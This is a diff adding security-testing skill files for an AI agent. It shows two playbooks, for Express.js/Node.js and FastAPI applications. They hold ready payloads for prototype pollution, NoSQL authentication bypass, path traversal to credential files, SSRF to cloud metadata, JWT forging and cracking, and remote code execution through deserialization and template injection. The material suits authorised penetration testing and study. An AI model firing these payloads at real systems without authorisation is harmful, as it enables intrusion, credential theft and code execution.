- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: express
|
|
5
|
+
description: Security testing playbook for Express.js/Node.js applications covering prototype pollution, SSRF, regex DoS, JWT misuse, path traversal, and Node.js-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Express.js / Node.js Security Testing
|
|
9
|
+
|
|
10
|
+
Express is the most popular Node.js web framework. Attack surface: prototype pollution, path traversal via `__proto__`, JWT misconfigurations, NoSQL injection (MongoDB), SSRF, regex DoS (ReDoS), and common npm package vulnerabilities.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Express/Node.js
|
|
17
|
+
|
|
18
|
+
# Express-specific headers and responses
|
|
19
|
+
X-Powered-By: Express # Default header (often left enabled)
|
|
20
|
+
ETag: W/"..." # Weak ETag = Express default
|
|
21
|
+
|
|
22
|
+
# Common Node.js paths
|
|
23
|
+
GET /health # Health check
|
|
24
|
+
GET /status
|
|
25
|
+
GET /ping
|
|
26
|
+
GET /metrics # Prometheus (if prom-client used)
|
|
27
|
+
GET /api-docs # Swagger UI
|
|
28
|
+
GET /swagger.json
|
|
29
|
+
GET /openapi.json
|
|
30
|
+
GET /.well-known/ # OIDC discovery, security.txt
|
|
31
|
+
|
|
32
|
+
# Node.js error page
|
|
33
|
+
GET /nonexistent → "Cannot GET /nonexistent" → confirms Express
|
|
34
|
+
|
|
35
|
+
# Package.json / config exposure
|
|
36
|
+
GET /package.json # Node packages + version info
|
|
37
|
+
GET /package-lock.json
|
|
38
|
+
GET /.env
|
|
39
|
+
GET /config.js
|
|
40
|
+
GET /config.json
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## Prototype Pollution
|
|
45
|
+
|
|
46
|
+
Node.js/Express apps using `merge`, `extend`, `lodash.merge`, or JSON path setting are vulnerable:
|
|
47
|
+
|
|
48
|
+
# Test: inject __proto__ or constructor.prototype into JSON body
|
|
49
|
+
POST /api/endpoint
|
|
50
|
+
Content-Type: application/json
|
|
51
|
+
{"__proto__": {"admin": true}}
|
|
52
|
+
|
|
53
|
+
{"constructor": {"prototype": {"admin": true}}}
|
|
54
|
+
|
|
55
|
+
# URL parameter pollution
|
|
56
|
+
GET /api/user?__proto__[admin]=true
|
|
57
|
+
GET /api/user?constructor[prototype][admin]=true
|
|
58
|
+
|
|
59
|
+
# Nested merge vulnerability
|
|
60
|
+
POST /api/settings
|
|
61
|
+
{"settings": {"__proto__": {"polluted": "yes"}}}
|
|
62
|
+
|
|
63
|
+
# Validation: after sending, check if app-wide default has changed:
|
|
64
|
+
GET /api/any-endpoint → check if "admin": true appears in response
|
|
65
|
+
|
|
66
|
+
# Libraries vulnerable to prototype pollution:
|
|
67
|
+
# lodash < 4.17.11 (_.merge, _.mergeWith, _.defaultsDeep)
|
|
68
|
+
# jquery < 3.4.0 ($.extend)
|
|
69
|
+
# hoek < 4.2.1 / < 5.0.3
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## NoSQL Injection (MongoDB / Mongoose)
|
|
74
|
+
|
|
75
|
+
# MongoDB operator injection in JSON body:
|
|
76
|
+
POST /api/login
|
|
77
|
+
Content-Type: application/json
|
|
78
|
+
{"username": {"$gt": ""}, "password": {"$gt": ""}} # Bypass auth
|
|
79
|
+
|
|
80
|
+
# Ne (not equal) operator:
|
|
81
|
+
{"username": "admin", "password": {"$ne": "wrong"}}
|
|
82
|
+
|
|
83
|
+
# Regex matching all users:
|
|
84
|
+
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
|
|
85
|
+
|
|
86
|
+
# In array bypass:
|
|
87
|
+
{"username": {"$in": ["admin", "user"]}, "password": {"$gt": ""}}
|
|
88
|
+
|
|
89
|
+
# URL-encoded (query string injection):
|
|
90
|
+
GET /api/users?username[$gt]=&password[$gt]=
|
|
91
|
+
|
|
92
|
+
# Enumeration via $regex:
|
|
93
|
+
{"username": "admin", "password": {"$regex": "^a"}} # Binary search on password
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Path Traversal
|
|
98
|
+
|
|
99
|
+
# Express static file serving — test path traversal
|
|
100
|
+
GET /static/../.env
|
|
101
|
+
GET /static/../../config.js
|
|
102
|
+
GET /public/../../../etc/passwd
|
|
103
|
+
|
|
104
|
+
# URL-encoded:
|
|
105
|
+
GET /files/..%2F..%2Fetc%2Fpasswd
|
|
106
|
+
GET /files/%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
107
|
+
|
|
108
|
+
# Double encoding:
|
|
109
|
+
GET /files/..%252F..%252Fetc%252Fpasswd
|
|
110
|
+
|
|
111
|
+
# Null byte (older Node.js versions):
|
|
112
|
+
GET /files/../../etc/passwd%00.png
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## SSRF
|
|
117
|
+
|
|
118
|
+
# Node.js HTTP libraries (axios, node-fetch, got, request):
|
|
119
|
+
# Test any URL-accepting parameter
|
|
120
|
+
|
|
121
|
+
# Probe internal services:
|
|
122
|
+
http://localhost:3000/internal
|
|
123
|
+
http://127.0.0.1/admin
|
|
124
|
+
http://169.254.169.254/latest/meta-data/ # AWS IMDS
|
|
125
|
+
http://metadata.google.internal/ # GCP metadata
|
|
126
|
+
http://0.0.0.0/ # All interfaces
|
|
127
|
+
|
|
128
|
+
# Protocol handlers in Node.js:
|
|
129
|
+
file:///etc/passwd
|
|
130
|
+
dict://localhost:6379/info # Redis
|
|
131
|
+
gopher://localhost:6379/... # Redis commands via gopher
|
|
132
|
+
|
|
133
|
+
# DNS rebinding via custom domain:
|
|
134
|
+
http://attacker-rebinding.domain/
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## JWT Misconfigurations
|
|
139
|
+
|
|
140
|
+
# Algorithm confusion: none algorithm
|
|
141
|
+
# Forge JWT with algorithm=none:
|
|
142
|
+
{"alg": "none", "typ": "JWT"}.{"sub": "1", "role": "admin"}.
|
|
143
|
+
|
|
144
|
+
# RS256 → HS256 confusion:
|
|
145
|
+
# Sign JWT with server's public key as HMAC secret
|
|
146
|
+
# Works when server uses jsonwebtoken with algorithm not pinned
|
|
147
|
+
|
|
148
|
+
# Key ID (kid) injection:
|
|
149
|
+
# JWT header: {"alg": "HS256", "kid": "../../etc/passwd"}
|
|
150
|
+
# Server reads key from file path = LFI via JWT
|
|
151
|
+
|
|
152
|
+
# Weak secret brute force:
|
|
153
|
+
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
|
|
154
|
+
python3 -c "import jwt; print(jwt.decode('<token>', 'secret', algorithms=['HS256']))"
|
|
155
|
+
|
|
156
|
+
# Missing expiry check:
|
|
157
|
+
# Use old expired JWT — check if server still accepts it
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## ReDoS (Regex Denial of Service)
|
|
162
|
+
|
|
163
|
+
# Catastrophic backtracking in vulnerable regex patterns
|
|
164
|
+
# Find: email validation, username validation, URL parsing
|
|
165
|
+
|
|
166
|
+
# Classic ReDoS payload (for patterns like /(a+)+$/ ):
|
|
167
|
+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
|
|
168
|
+
"aaaaaaaaaaaaaaaaaaaaaaaaaaa@"
|
|
169
|
+
|
|
170
|
+
# Email validation ReDoS:
|
|
171
|
+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaa@aaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
|
172
|
+
|
|
173
|
+
# Test: send payload and measure response time
|
|
174
|
+
time curl -X POST <target>/api/register -d '{"email": "aaaa[...]@aaaa[...].com"}'
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Deserialization (node-serialize)
|
|
179
|
+
|
|
180
|
+
# node-serialize npm package (vulnerable)
|
|
181
|
+
# Payload uses IIFE notation:
|
|
182
|
+
{"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id', function(err, stdout){console.log(stdout)})}()"}
|
|
183
|
+
|
|
184
|
+
# Base64-encode and set as cookie if node-serialize is used on cookies
|
|
185
|
+
# Detect: cookie value starts with base64 of JSON with _$$ND_FUNC$$_
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Server-Side Template Injection
|
|
190
|
+
|
|
191
|
+
# Express commonly uses: EJS, Pug (Jade), Handlebars, Nunjucks, Mustache
|
|
192
|
+
|
|
193
|
+
# EJS SSTI:
|
|
194
|
+
<%= 7*7 %> # Basic arithmetic
|
|
195
|
+
<%= process.env %> # Dump environment
|
|
196
|
+
<%- global.process.mainModule.require('child_process').execSync('id') %> # RCE
|
|
197
|
+
|
|
198
|
+
# Pug SSTI:
|
|
199
|
+
#{7*7} # Basic
|
|
200
|
+
#{root.process.mainModule.require('child_process').execSync('id').toString()}
|
|
201
|
+
|
|
202
|
+
# Handlebars SSTI:
|
|
203
|
+
{{#with "s" as |string|}}
|
|
204
|
+
{{#with "e"}}
|
|
205
|
+
{{#with split as |conslist|}}
|
|
206
|
+
{{this.pop}}
|
|
207
|
+
{{this.push (lookup string.sub "constructor")}}
|
|
208
|
+
{{this.pop}}
|
|
209
|
+
{{#with string.split as |codelist|}}
|
|
210
|
+
{{this.pop}}
|
|
211
|
+
{{this.push "return require('child_process').execSync('id');"}}
|
|
212
|
+
{{this.pop}}
|
|
213
|
+
{{#each conslist}}
|
|
214
|
+
{{#with (string.sub.apply 0 codelist)}}
|
|
215
|
+
{{this}}
|
|
216
|
+
{{/with}}
|
|
217
|
+
{{/each}}
|
|
218
|
+
{{/with}}
|
|
219
|
+
{{/with}}
|
|
220
|
+
{{/with}}
|
|
221
|
+
{{/with}}
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## Security Headers Analysis
|
|
226
|
+
|
|
227
|
+
# Check security headers (often missing in Express apps)
|
|
228
|
+
curl -I <target> | grep -iE "x-frame-options|content-security-policy|x-content-type|strict-transport|referrer-policy|permissions-policy"
|
|
229
|
+
|
|
230
|
+
# Express common misconfigurations:
|
|
231
|
+
# - Missing helmet.js (no security headers)
|
|
232
|
+
# - cors({ origin: '*' }) — open CORS
|
|
233
|
+
# - X-Powered-By: Express not removed
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Common Vulnerabilities by Package
|
|
238
|
+
|
|
239
|
+
| Package | Vulnerability |
|
|
240
|
+
|---------|--------------|
|
|
241
|
+
| `lodash < 4.17.21` | Prototype pollution |
|
|
242
|
+
| `express-fileupload` | Prototype pollution via files |
|
|
243
|
+
| `jsonwebtoken < 9.0` | Algorithm confusion |
|
|
244
|
+
| `node-serialize` | Deserialization RCE |
|
|
245
|
+
| `multer` | Path traversal in filename |
|
|
246
|
+
| `express-validator` | ReDoS in certain checks |
|
|
247
|
+
| `passport-jwt` | Missing algorithm pin |
|
|
248
|
+
|
|
249
|
+
# Check npm packages:
|
|
250
|
+
npm audit # If access to package.json + node_modules
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## Pro Tips
|
|
255
|
+
|
|
256
|
+
1. `X-Powered-By: Express` header confirms framework — always test prototype pollution first
|
|
257
|
+
2. NoSQL injection via `{"$gt": ""}` bypasses auth in >50% of Express+MongoDB apps
|
|
258
|
+
3. Prototype pollution often enables privilege escalation — `{"__proto__": {"admin": true}}`
|
|
259
|
+
4. JWT `algorithm: none` works surprisingly often in Express apps using old jsonwebtoken
|
|
260
|
+
5. Path traversal in Express static middleware with symlinks or encoded slashes
|
|
261
|
+
6. `cors({ origin: '*' })` + cookie-based auth = CSRF-equivalent credential theft
|
|
262
|
+
7. `package.json` exposure reveals exact package versions → targeted CVE search
|
|
263
|
+
|
|
264
|
+
## Summary
|
|
265
|
+
|
|
266
|
+
Express testing = prototype pollution (JSON body __proto__) + NoSQL injection ($gt operator) + JWT algorithm confusion + SSRF on URL parameters + SSTI if templates used. Prototype pollution is the most Express-specific finding — test every JSON-accepting endpoint with `{"__proto__": {"admin": true}}`. NoSQL injection in MongoDB is the other must-test: `{"password": {"$gt": ""}}` bypasses auth in unparameterized queries.
|
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: fastapi
|
|
5
|
+
description: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# FastAPI
|
|
9
|
+
|
|
10
|
+
Security testing for FastAPI/Starlette applications. Focus on dependency injection flaws, middleware gaps, and authorization drift across routers and channels.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Core Components**
|
|
15
|
+
- ASGI middlewares: CORS, TrustedHost, ProxyHeaders, Session, exception handlers, lifespan events
|
|
16
|
+
- Routers and sub-apps: APIRouter prefixes/tags, mounted apps (StaticFiles, admin), `include_router`, versioned paths
|
|
17
|
+
- Dependency injection: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes
|
|
18
|
+
|
|
19
|
+
**Data Handling**
|
|
20
|
+
- Pydantic models: v1/v2, unions/Annotated, custom validators, extra fields policy, coercion
|
|
21
|
+
- File operations: UploadFile, File, FileResponse, StaticFiles mounts
|
|
22
|
+
- Templates: Jinja2Templates rendering
|
|
23
|
+
|
|
24
|
+
**Channels**
|
|
25
|
+
- HTTP (sync/async), WebSocket, SSE/StreamingResponse
|
|
26
|
+
- BackgroundTasks and task queues
|
|
27
|
+
|
|
28
|
+
**Deployment**
|
|
29
|
+
- Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
|
30
|
+
|
|
31
|
+
## High-Value Targets
|
|
32
|
+
|
|
33
|
+
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map, securitySchemes, server URLs)
|
|
34
|
+
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE
|
|
35
|
+
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
|
36
|
+
- File upload/download, import/export/report endpoints, signed URL generators
|
|
37
|
+
- WebSocket endpoints (notifications, admin channels, commands)
|
|
38
|
+
- Background job endpoints (`/jobs/{id}`, `/tasks/{id}/result`)
|
|
39
|
+
- Mounted subapps (admin UI, storage browsers, metrics/health)
|
|
40
|
+
|
|
41
|
+
## Reconnaissance
|
|
42
|
+
|
|
43
|
+
**OpenAPI Mining**
|
|
44
|
+
```
|
|
45
|
+
GET /openapi.json
|
|
46
|
+
GET /docs
|
|
47
|
+
GET /redoc
|
|
48
|
+
GET /api/openapi.json
|
|
49
|
+
GET /internal/openapi.json
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
Extract: paths, parameters, securitySchemes, scopes, servers. Endpoints with `include_in_schema=False` won't appear—fuzz based on discovered prefixes and common admin/debug names.
|
|
53
|
+
|
|
54
|
+
**Dependency Mapping**
|
|
55
|
+
|
|
56
|
+
For each route, identify:
|
|
57
|
+
- Router-level dependencies (applied to all routes)
|
|
58
|
+
- Route-level dependencies (per endpoint)
|
|
59
|
+
- Which dependencies enforce auth vs just parse input
|
|
60
|
+
|
|
61
|
+
## Key Vulnerabilities
|
|
62
|
+
|
|
63
|
+
### Authentication & Authorization
|
|
64
|
+
|
|
65
|
+
**Dependency Injection Gaps**
|
|
66
|
+
- Routes missing security dependencies present on other routes
|
|
67
|
+
- `Depends` used instead of `Security` (ignores scope enforcement)
|
|
68
|
+
- Token presence treated as authentication without signature verification
|
|
69
|
+
- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth
|
|
70
|
+
|
|
71
|
+
**JWT Misuse**
|
|
72
|
+
- Decode without verify: test unsigned tokens, attacker-signed tokens
|
|
73
|
+
- Algorithm confusion: HS256/RS256 cross-use if not pinned
|
|
74
|
+
- `kid` header injection for custom key lookup paths
|
|
75
|
+
- Missing issuer/audience validation, cross-service token reuse
|
|
76
|
+
|
|
77
|
+
**Session Weaknesses**
|
|
78
|
+
- SessionMiddleware with weak `secret_key`
|
|
79
|
+
- Session fixation via predictable signing
|
|
80
|
+
- Cookie-based auth without CSRF protection
|
|
81
|
+
|
|
82
|
+
**OAuth/OIDC**
|
|
83
|
+
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement
|
|
84
|
+
|
|
85
|
+
### Access Control
|
|
86
|
+
|
|
87
|
+
**IDOR via Dependencies**
|
|
88
|
+
- Object IDs in path/query not validated against caller
|
|
89
|
+
- Tenant headers trusted without binding to authenticated user
|
|
90
|
+
- BackgroundTasks acting on IDs without re-validating ownership at execution time
|
|
91
|
+
- Export/import pipelines with IDOR and cross-tenant leaks
|
|
92
|
+
|
|
93
|
+
**Scope Bypass**
|
|
94
|
+
- Minimal scope satisfaction (any valid token accepted)
|
|
95
|
+
- Router vs route scope enforcement inconsistency
|
|
96
|
+
|
|
97
|
+
### Input Handling
|
|
98
|
+
|
|
99
|
+
**Pydantic Exploitation**
|
|
100
|
+
- Type coercion: strings to ints/bools, empty strings to None, truthiness edge cases
|
|
101
|
+
- Extra fields: `extra = "allow"` permits injecting control fields (role, ownerId, scope)
|
|
102
|
+
- Union types and `Annotated`: craft shapes hitting unintended validation branches
|
|
103
|
+
|
|
104
|
+
**Content-Type Switching**
|
|
105
|
+
```
|
|
106
|
+
application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data
|
|
107
|
+
```
|
|
108
|
+
Different content types hit different validators or code paths (parser differentials).
|
|
109
|
+
|
|
110
|
+
**Parameter Manipulation**
|
|
111
|
+
- Case variations in header/cookie names
|
|
112
|
+
- Duplicate parameters exploiting DI precedence
|
|
113
|
+
- Method override via `X-HTTP-Method-Override` (upstream respects, app doesn't)
|
|
114
|
+
|
|
115
|
+
### CORS & CSRF
|
|
116
|
+
|
|
117
|
+
**CORS Misconfiguration**
|
|
118
|
+
- Overly broad `allow_origin_regex`
|
|
119
|
+
- Origin reflection without validation
|
|
120
|
+
- Credentialed requests with permissive origins
|
|
121
|
+
- Verify preflight vs actual request deltas
|
|
122
|
+
|
|
123
|
+
**CSRF Exposure**
|
|
124
|
+
- No built-in CSRF in FastAPI/Starlette
|
|
125
|
+
- Cookie-based auth without origin validation
|
|
126
|
+
- Missing SameSite attribute
|
|
127
|
+
|
|
128
|
+
### Proxy & Host Trust
|
|
129
|
+
|
|
130
|
+
**Header Spoofing**
|
|
131
|
+
- ProxyHeadersMiddleware without network boundary: spoof `X-Forwarded-For/Proto` to influence auth/IP gating
|
|
132
|
+
- Absent TrustedHostMiddleware: Host header poisoning in password reset links, absolute URL generation
|
|
133
|
+
- Cache key confusion: missing Vary on Authorization/Cookie/Tenant
|
|
134
|
+
|
|
135
|
+
### Server-Side Vulnerabilities
|
|
136
|
+
|
|
137
|
+
**Template Injection (Jinja2)**
|
|
138
|
+
```python
|
|
139
|
+
{{7*7}} # Arithmetic confirmation
|
|
140
|
+
{{cycler.__init__.__globals__['os'].popen('id').read()}} # RCE
|
|
141
|
+
```
|
|
142
|
+
Check autoescape settings and custom filters/globals.
|
|
143
|
+
|
|
144
|
+
**SSRF**
|
|
145
|
+
- User-supplied URLs in imports, previews, webhooks validation
|
|
146
|
+
- Test: loopback, RFC1918, IPv6, redirects, DNS rebinding, header control
|
|
147
|
+
- Library behavior (httpx/requests): redirect policy, header forwarding, protocol support
|
|
148
|
+
- Protocol smuggling: `file://`, `ftp://`, gopher-like shims if custom clients
|
|
149
|
+
|
|
150
|
+
**File Upload**
|
|
151
|
+
- Path traversal in `UploadFile.filename` with control characters
|
|
152
|
+
- Missing storage root enforcement, symlink following
|
|
153
|
+
- Vary filename encodings, dot segments, NUL-like bytes
|
|
154
|
+
- Verify storage paths and served URLs
|
|
155
|
+
|
|
156
|
+
### WebSocket Security
|
|
157
|
+
|
|
158
|
+
- Missing per-connection authentication
|
|
159
|
+
- Cross-origin WebSocket without origin validation
|
|
160
|
+
- Topic/channel IDOR (subscribing to other users' channels)
|
|
161
|
+
- Authorization only at handshake, not per-message
|
|
162
|
+
|
|
163
|
+
### Mounted Apps
|
|
164
|
+
|
|
165
|
+
Sub-apps at `/admin`, `/static`, `/metrics` may bypass global middlewares. Verify auth enforcement parity across all mounts.
|
|
166
|
+
|
|
167
|
+
### Alternative Stacks
|
|
168
|
+
|
|
169
|
+
- If GraphQL (Strawberry/Graphene) is mounted: validate resolver-level authorization, IDOR on node/global IDs
|
|
170
|
+
- If SQLModel/SQLAlchemy present: probe for raw query usage and row-level authorization gaps
|
|
171
|
+
|
|
172
|
+
## Bypass Techniques
|
|
173
|
+
|
|
174
|
+
- Content-type switching to traverse alternate validators
|
|
175
|
+
- Parameter duplication and case variants exploiting DI precedence
|
|
176
|
+
- Method confusion via proxies (`X-HTTP-Method-Override`)
|
|
177
|
+
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests)
|
|
178
|
+
|
|
179
|
+
## Testing Methodology
|
|
180
|
+
|
|
181
|
+
1. **Enumerate** - Fetch OpenAPI, diff with 404-fuzzing for hidden endpoints
|
|
182
|
+
2. **Matrix testing** - Test each route across: unauth/user/admin × HTTP/WebSocket × JSON/form/multipart
|
|
183
|
+
3. **Dependency analysis** - Map which dependencies enforce auth vs parse input
|
|
184
|
+
4. **Cross-environment** - Compare dev/stage/prod for middleware and docs exposure differences
|
|
185
|
+
5. **Channel consistency** - Verify same authorization on HTTP and WebSocket for equivalent operations
|
|
186
|
+
|
|
187
|
+
## Validation Requirements
|
|
188
|
+
|
|
189
|
+
- Side-by-side requests showing unauthorized access (owner vs non-owner, cross-tenant)
|
|
190
|
+
- Cross-channel proof (HTTP and WebSocket for same rule)
|
|
191
|
+
- Header/proxy manipulation showing altered outcomes (Host/XFF/CORS)
|
|
192
|
+
- Minimal payloads for template injection, SSRF, token misuse with safe/OAST oracles
|
|
193
|
+
- Document exact dependency paths (router-level, route-level) that missed enforcement
|